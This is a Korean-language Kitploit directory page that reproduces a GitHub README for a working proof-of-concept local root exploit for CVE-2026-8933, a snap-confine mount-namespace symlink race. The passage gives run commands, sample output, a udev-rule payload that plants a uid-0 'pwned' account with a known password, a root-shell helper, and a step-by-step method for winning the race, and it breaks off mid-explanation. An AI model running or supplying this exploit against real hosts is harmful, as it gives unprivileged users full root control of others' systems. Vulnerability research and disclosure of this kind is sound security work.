Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8933 — CVE-2026-8933에 대한 동작하는 PoC: root 소유의 udev 규칙을 심어 systemd-udevd를 통해 로컬 root 권한을 획득하는 snap-confine 마운트 네임스페이스 심볼릭 링크 경쟁 조건입니다. | Kitploit
도구/GitHubGitHub/songzzzz/cve-2026-8933
Privilege EscalationVulnerability AnalysisExploitationPayload Development
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

CVE-2026-8933에 대한 동작하는 PoC: root 소유의 udev 규칙을 심어 systemd-udevd를 통해 로컬 root 권한을 획득하는 snap-confine 마운트 네임스페이스 심볼릭 링크 경쟁 조건입니다.

저장소 보기
320일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-8933 — snap-confine 마운트 네임스페이스 경쟁 조건 → 로컬 루트 셸

동작하는 PoC. 전체 로컬 권한 상승이 처음부터 끝까지 재현됨 — 비특권 사용자(uid 1000)에서 실제 uid-0 루트 셸까지 — 비밀번호 없이, 상호작용 없이, 기존 권한 없이.

비특권 프로세스가 set-capabilities snap-confine을 이용해 루트 소유의 udev 규칙을 호스트의 /run/udev/rules.d/에 기록하게 만들고, 이어서 systemd-udevd가 해당 규칙의 PROGRAM= 페이로드를 루트로서 실행한다. 내장된 페이로드는 알려진 비밀번호를 가진 uid-0 계정을 심어두므로, su - pwned(또는 ./_rootshell.py)가 루트 셸을 제공한다.

구성 요소snap-confine → sc_replicate_base_rootfs() (_msc_273.c의 snapd 2.73 소스; 테스트한 호스트는 snapd 2.76.3을 실행 중이었고 여전히 익스플로잇 가능했음)
분류로컬 권한 상승 (심볼릭 링크 경쟁 조건 → /run/udev/**에 임의의 루트 소유 파일 생성 → 루트로서 코드 실행)
결과비특권 계정에서 uid=0(root) 셸 획득
신뢰성16회 실행: 7회는 첫 시도에 성공, 나머지는 두 번째 시도에 성공; 2회를 넘긴 적 없음
이식성호스트 독립적: 대상 snap, 앱 이름, cgroup 스코프, uid 및 snap-confine 경로가 모두 런타임에 탐지됨
루트 필요없음 (§9 참조)

목차

TL;DR · 1. 빠른 시작 · 2. 요구 사항 · 3. 예상 결과 · 4. 버그 · 5. 경쟁 조건에서 승리하기 · 6. 페이로드 · 7. 패키지 내용 · 8. 구성 · 9. 권한 및 정리 · 10. 영향 및 수정 · 문제 해결 · 참고 문헌 · 면책 조항

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

예상 출력(축약):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

드라이버는 자신이 만든 것(규칙, 페이로드, 심어둔 계정, 스크래치 디렉터리 및 그 마운트)을 정리합니다. KEEP=1을 설정하면 계정을 유지하여 이후에 루트 셸을 대화형으로 사용할 수 있습니다:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. 빠른 시작

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts]는 t18 + _ftrig를 빌드하고, 대상을 탐지한 뒤, 승리할 때까지 익스플로잇을 실행하고, udevd를 트리거하고, 루트 페이로드를 검증한 후 정리합니다. 100% 12는 아래 모든 측정에 사용된 값이며, 0.3% 40도 동작합니다(더 엄격한 할당량, 더 많은 시도).

무엇이든 건드리기 전에 드라이버는 자동 탐지된 대상을 출력합니다:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. 요구 사항

  • systemd 호스트 (사용자 관리자가 실행 중 — 익스플로잇이 사용자 스코프에서 cgroup.freeze를 구동함),
  • 취약한 snap-confine, set-capabilities로 설치됨 (cap_chown,cap_dac_override,cap_sys_admin,…) — set-uid-root가 아님,
  • t18과 _ftrig를 빌드하기 위한 gcc + libfuse3 (pkg-config fuse3),
  • /snap/<snap>/current 디렉터리의 최상위 레벨에 일반 파일이 포함된 설치된 snap이 최소 하나 이상 — 바로 그 DT_REG 항목이 취약한 open()을 실행하게 함 (예: firefox, core22, …). 그러한 snap이면 무엇이든 작동하며, SNAP=<name>으로 특정 snap을 강제할 수 있음.

./t18 info는 감지된 대상의 snap, app, base, unit, scope, confine과 항목/일반 파일의 개수를 출력한 뒤 종료됨 — 호스트가 설치된 snap들로 익스플로잇 가능한지 빠르게 확인하는 방법임.

3. 확인해야 할 사항

성공적인 시도의 증거

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

루트 권한의 snap-confine이 호스트에서 생성한 파일:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

그리고 그것이 가리키는 페이로드 스크립트(uid 1000이 작성하고 systemd-udevd가 uid 0으로 실행):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine는 직후에 동일한 항목의 AppArmor에서 거부된 바인드 마운트에서 종료됩니다. 그 시점에 파일은 이미 생성되어 내용이 채워져 있습니다.

루트 셸

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

신뢰성

연구 및 최종 일반 빌드 전반에 걸쳐 _t18poc.sh를 16회 실행한 결과 모두 LPE로 종료되었으며(그중 7회는 첫 시도에서, 나머지는 두 번째 시도에서 성공), 2회 이상의 시도를 필요로 한 실행은 없었습니다. 각 실행은 스스로 정리합니다(규칙, 페이로드, 심어둔 계정, 스크래치 디렉터리 및 그 마운트).

4. 버그

snapd 2.73, sc_replicate_base_rootfs() (_msc_273.c의 소스):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);

snap-confine는 set-uid-root가 아니라 set-capabilities(cap_chown, cap_dac_override, cap_sys_admin, …)로 설치되므로, 거의 root에 준하는 capabilities를 지니면서도 비특권 euid를 유지한다. 그 결과:

  • mkdtemp()는 /tmp/snap.rootfs_XXXXXX를 공격자 소유로 생성하며(511행과 362행 사이), 그리고
  • open(full_path, O_CREAT|O_TRUNC, 0644)는 심볼릭 링크를 따라가며(O_NOFOLLOW 없음) 생성된 파일은 두 줄 뒤의 fchown() 전까지 공격자의 소유가 된다.

두 창 모두 비특권 로컬 사용자가 악용할 수 있으며, 이 PoC가 바로 그렇게 한다.

5. 경쟁 조건에서 승리하기

경쟁 조건 1 — 스크래치 디렉터리 (심볼릭 링크 교체로 해결)

  1. SNAPD_DEBUG=1 + stderr용 파이프 + 배출 자식 프로세스가 unsharing the mount namespace (per-snap) 마커가 나타나는 즉시 사용자 scope의 cgroup.freeze에 cgroup.freeze=1을 기록한다. 이는 mkdtemp() 이전에 snap-confine을 약 마이크로초 지연으로 동결시킨다(파일을 폴링하는 방식은 50–200 µs로 너무 느렸다; 파이프에 대한 read()는 기록자의 컨텍스트에서 깨어난다). 그러면 경쟁 조건은 더 이상 경쟁 조건이 아니게 된다 — scope는 cgroup.freeze로 결정론적으로 단계별 실행된다(슬라이스당 약 한 번의 시스템 콜).

  2. 동결된 동안: rmdir("/tmp/snap.rootfs_XXXXXX")(우리 소유)를 수행하고 symlink("/tmp/snap.rootfs_XXXXXX.dA", "/tmp/snap.rootfs_XXXXXX")를 생성한다. mount(2)는 대상 경로의 심볼릭 링크를 따라가므로, 523/530/535행의 MS_BIND/MS_UNBINDABLE/tmpfs 마운트가 모두 .dA에 적용되는 반면, snap-confine의 scratch_dir 문자열은 여전히 우리의 심볼릭 링크를 통해 해석된다.

  3. /proc/<pid>/mounts가 mounts=2 tmpfs=1 squashfs=0을 보여줄 때까지 scope를 단계별로 진행시킨다 — 535행의 tmpfs가 마운트되었고 536행의 복제 루프는 아직 실행되지 않은 상태다.

  4. 심볼릭 링크를 unlink()하고 동일한 심볼릭 링크 팜을 담고 있지만 tmpfs에 의해 덮이지 않은 두 번째 디렉터리인 .dB를 가리키도록 다시 생성한다. 이제 루프는 scratch_dir/<entry>를 .dB로 해석한다.

경쟁 조건 2 — 파일 소유권 (fchown 창 안에서 쓰기)

.dB에는 기본 rootfs의 일반 파일 이름을 딴 심볼릭 링크가 들어 있다(여기서는 firefox snap의 default256.png, firefox.desktop, … — 다른 호스트에서는 단순히 /snap/<snap>/current의 DT_REG 항목들)가 대상 경로, 예를 들어 /run/udev/rules.d/8933-cve-1.rules를 가리킨다(2.73 AppArmor 프로파일은 /run/udev/** rw를 허용한다). 스피너 자식 프로세스가 대상에 다음을 반복적으로 가한다:

도구 다운로드